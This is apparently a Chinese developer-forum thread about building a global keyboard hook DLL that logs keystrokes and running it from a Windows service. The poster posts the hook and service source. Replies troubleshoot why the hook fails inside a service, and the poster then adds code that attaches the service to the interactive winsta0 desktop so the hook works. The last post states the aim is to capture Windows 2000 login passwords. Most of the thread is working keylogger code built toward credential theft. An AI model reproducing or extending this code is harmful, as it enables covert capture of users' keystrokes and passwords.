CLaunchDLLApp theApp; 
  …… 
  DllExport void WINAPI InstallLaunchEv() 
  { 
  Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD, 
  (HOOKPROC)LauncherHook, 
  theApp.m_hInstance, 
  0); 
  } LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam) 
  { 
  LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam); 
  if(nCode==HC_ACTION) 
  { 
  if(lParam & 0x80000000) 
  { 
  char c[1]; 
  c[0]=wParam; 
  SaveLog(c); 
  } 
  } 
  return Result; 
  } 
  

解决方案 »

  1.   

    在动态连接库中不能使用theApp.m_hInstance,而应该传进来参数
      

  2.   

    那为什么在应用程序中就可以啊?我的DLL都是一样的
      

  3.   

    而且在服务程序中,
      Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD, 
      (HOOKPROC)LauncherHook, 
      theApp.m_hInstance, 
      0); 
    我调试过了,Hook!=NULL,应该是有效值吧。
      

  4.   

    不明白你再问什末?
    你把键盘钩子贴出来干吗用?
    你那段代码是从vckbase中某个例子摘出来的,本来就没有错误
      

  5.   

    上面的代码都是在DLL中的,同一个DLL对应用程序和服务程序为什么会有那么大的差别?
      

  6.   

    是不是服务程序不能用勾子啊。没试过动态连接库中不能使用theApp.m_hInstance吗?可以吧。
      

  7.   

    #include <windows.h>
    #include <winsvc.h>
    #include <iostream.h>
    #include "stdio.h"void ServiceMain(DWORD argc, LPTSTR *argv); 
    void ServiceCtrlHandler(DWORD nControlCode);
    BOOL UpdateServiceStatus(DWORD dwCurrentState, DWORD dwWin32ExitCode,
     DWORD dwServiceSpecificExitCode, DWORD dwCheckPoint,
     DWORD dwWaitHint);
    BOOL StartServiceThread();
    DWORD ServiceExecutionThread(LPDWORD param);
    void KillService();HANDLE hServiceThread;
    char *strServiceName = "stoneFirstService";
    SERVICE_STATUS_HANDLE nServiceStatusHandle; 
    HANDLE killServiceEvent;
    BOOL nServiceRunning;
    DWORD nServiceCurrentStatus;void main(int argc, char* argv[])
    {
    SERVICE_TABLE_ENTRY servicetable[]=
    {
    {strServiceName,(LPSERVICE_MAIN_FUNCTION)ServiceMain},
    {NULL,NULL}
    };
    BOOL success;
    success=StartServiceCtrlDispatcher(servicetable);
    if(!success)
    {
    //error occured
    }
    }void ServiceMain(DWORD argc, LPTSTR *argv)
    {
    BOOL success;

    nServiceStatusHandle=RegisterServiceCtrlHandler(strServiceName,
    (LPHANDLER_FUNCTION)ServiceCtrlHandler);
    if(!nServiceStatusHandle)
    {
    return;
    }

    success=UpdateServiceStatus(SERVICE_START_PENDING,NO_ERROR,0,1,3000);
    if(!success)
    {
    return;
    }

    killServiceEvent=CreateEvent(0,TRUE,FALSE,0);
    if(killServiceEvent==NULL)
    {
    return;
    }

    success=UpdateServiceStatus(SERVICE_START_PENDING,NO_ERROR,0,2,1000);
    if(!success)
    {
    return;
    }

    success=StartServiceThread();
    if(!success)
    {
    return;
    }

    nServiceCurrentStatus=SERVICE_RUNNING;
    success=UpdateServiceStatus(SERVICE_RUNNING,NO_ERROR,0,0,0);
    if(!success)
    {
    return;
    }

    WaitForSingleObject(killServiceEvent,INFINITE);
    CloseHandle(killServiceEvent);
    }BOOL UpdateServiceStatus(DWORD dwCurrentState, DWORD dwWin32ExitCode,
     DWORD dwServiceSpecificExitCode, DWORD dwCheckPoint,
     DWORD dwWaitHint)
    {
    BOOL success;
    SERVICE_STATUS nServiceStatus;
    nServiceStatus.dwServiceType=SERVICE_WIN32_OWN_PROCESS;
    nServiceStatus.dwCurrentState=dwCurrentState;

    if(dwCurrentState==SERVICE_START_PENDING)
    {
    nServiceStatus.dwControlsAccepted=0;
    }
    else
    {
    nServiceStatus.dwControlsAccepted=SERVICE_ACCEPT_STOP
    |SERVICE_ACCEPT_SHUTDOWN;
    }

    if(dwServiceSpecificExitCode==0)
    {
    nServiceStatus.dwWin32ExitCode=dwWin32ExitCode;
    }
    else
    {
    nServiceStatus.dwWin32ExitCode=ERROR_SERVICE_SPECIFIC_ERROR;
    }

    nServiceStatus.dwServiceSpecificExitCode=dwServiceSpecificExitCode;
    nServiceStatus.dwCheckPoint=dwCheckPoint;
    nServiceStatus.dwWaitHint=dwWaitHint; success=SetServiceStatus(nServiceStatusHandle,&nServiceStatus); if(!success)
    {
    KillService();
    return success;
    }
    else
    return success;
    }
    BOOL StartServiceThread()
    {
    DWORD id;
    hServiceThread=CreateThread(0,0,
    (LPTHREAD_START_ROUTINE)ServiceExecutionThread,
    0,0,&id);
    if(hServiceThread==0)
    {
    return false;
    }
    else
    {
    nServiceRunning=true;
    return true;
    }
    }DWORD ServiceExecutionThread(LPDWORD param)
    {
    InstallLaunchEv() ;//*******************设置钩子**********************************************************************//

    while(nServiceRunning)
    {
    Beep(450,150);
    Sleep(4000);
    }
      return 0;
    }
    void KillService()
    {
    nServiceRunning=false;
    SetEvent(killServiceEvent);
    UpdateServiceStatus(SERVICE_STOPPED,NO_ERROR,0,0,0);
    }
    void ServiceCtrlHandler(DWORD nControlCode)
    {
    BOOL success;
    switch(nControlCode)
    {
    case SERVICE_CONTROL_SHUTDOWN:
    case SERVICE_CONTROL_STOP:
    nServiceCurrentStatus=SERVICE_STOP_PENDING;
    success=UpdateServiceStatus(SERVICE_STOP_PENDING,NO_ERROR,0,1,3000);
    KillService();
    return;
    default:
    break;
    }
    UpdateServiceStatus(nServiceCurrentStatus,NO_ERROR,0,0,0);
    }
      

  8.   

    这个服务程序也是抄别人的。唯一改的地方是DWORD ServiceExecutionThread(LPDWORD param)
    {
    InstallLaunchEv() ;//*******************设置钩子//

    while(nServiceRunning)
    {
    Beep(450,150);
    Sleep(4000);
    }
      return 0;
    }
      

  9.   

    下面是从MSDN上拷过来的,不太明白啊?什么叫“Set Hooks on 32-bit GUI Applications“?A Service May Not Set Hooks on 32-bit GUI Applications[SYMPTOMS]
    On a computer running Microsoft Windows NT 4.0, a Win32 Service cannot set a hook on a 32-bit GUI application. [CAUSE]
    When an interactive service wants to hook a user's process, it is not allowed to because the desktop opened does not have the DF_ALLOWOTHERACCOUNTHOOK flag set. [RESOLUTION]
    A fix was developed such that if "Allow Service to Interact with Desktop" is set, the service is allow to set hooks on a user's process. This fix requires Microsoft Windows NT version 4.0 Service Pack 2 to be installed.  
      

  10.   

    对就这个问题了。我试了。允许桌面交互的服务SetWindowsHookEx时成功,不允许就错误。
      

  11.   

    解决一个问题,用下面的代码至少可以响应键盘钩子:DWORD ServiceExecutionThread(LPDWORD param)
    {///////////////////////////////////////////////////////////
          HDESK   hdeskCurrent;
          HDESK   hdeskTest;
          HDESK   hdesk;
          HWINSTA hwinstaCurrent;
          HWINSTA hwinsta;      //
          // Save the current Window station
          //
          hwinstaCurrent = GetProcessWindowStation();
          if (hwinstaCurrent == NULL)
             return FALSE;      //
          // Save the current desktop
          //
          hdeskCurrent = GetThreadDesktop(GetCurrentThreadId());
          if (hdeskCurrent == NULL)
             return FALSE;      //
          // Obtain a handle to WinSta0 - service must be running
          // in the LocalSystem account
          //
          hwinsta = OpenWindowStation("winsta0", FALSE,
                                      WINSTA_ACCESSCLIPBOARD   |
                                      WINSTA_ACCESSGLOBALATOMS |
                                      WINSTA_CREATEDESKTOP     |
                                      WINSTA_ENUMDESKTOPS      |
                                      WINSTA_ENUMERATE         |
                                      WINSTA_EXITWINDOWS       |
                                      WINSTA_READATTRIBUTES    |
                                      WINSTA_READSCREEN        |
                                      WINSTA_WRITEATTRIBUTES);
          if (hwinsta == NULL)
             return FALSE;      //
          // Set the windowstation to be winsta0
          //
          if (!SetProcessWindowStation(hwinsta))
             return FALSE;      //
          // Get the desktop
          //
          hdeskTest = GetThreadDesktop(GetCurrentThreadId());
          if (hdeskTest == NULL)
             return FALSE;      //
          // Get the default desktop on winsta0
          //
          hdesk = OpenDesktop("default", 0, FALSE,
                                DESKTOP_CREATEMENU |
                      DESKTOP_CREATEWINDOW |
                                DESKTOP_ENUMERATE    |
                                DESKTOP_HOOKCONTROL  |
                                DESKTOP_JOURNALPLAYBACK |
                                DESKTOP_JOURNALRECORD |
                                DESKTOP_READOBJECTS |
                                DESKTOP_SWITCHDESKTOP |
                                DESKTOP_WRITEOBJECTS);
       if (hdesk == NULL)
               return FALSE;   //
       // Set the desktop to be "default"
       //
       if (!SetThreadDesktop(hdesk))
               return FALSE;   //
       // Do a message box
        //
       InstallLaunchEv(); //*******************设置钩子*****//
       
       MessageBox(NULL, "stone", "test_interact", MB_OK);   //
       // Reset the Window station and desktop
       //
       if (!SetProcessWindowStation(hwinstaCurrent))
               return FALSE;   if (!SetThreadDesktop(hdeskCurrent))
          return FALSE;   //
       // Close the windowstation and desktop handles
       //
       if (!CloseWindowStation(hwinsta))
          return FALSE;   if (!CloseDesktop(hdesk))
               return FALSE;      return TRUE;
    ////////////////////////////////////////////////////////////////   
      return 0;
    }
      

  12.   

    本来想做一个服务程序来截获Win2000登陆密码,现在看来用键盘钩子是很麻烦了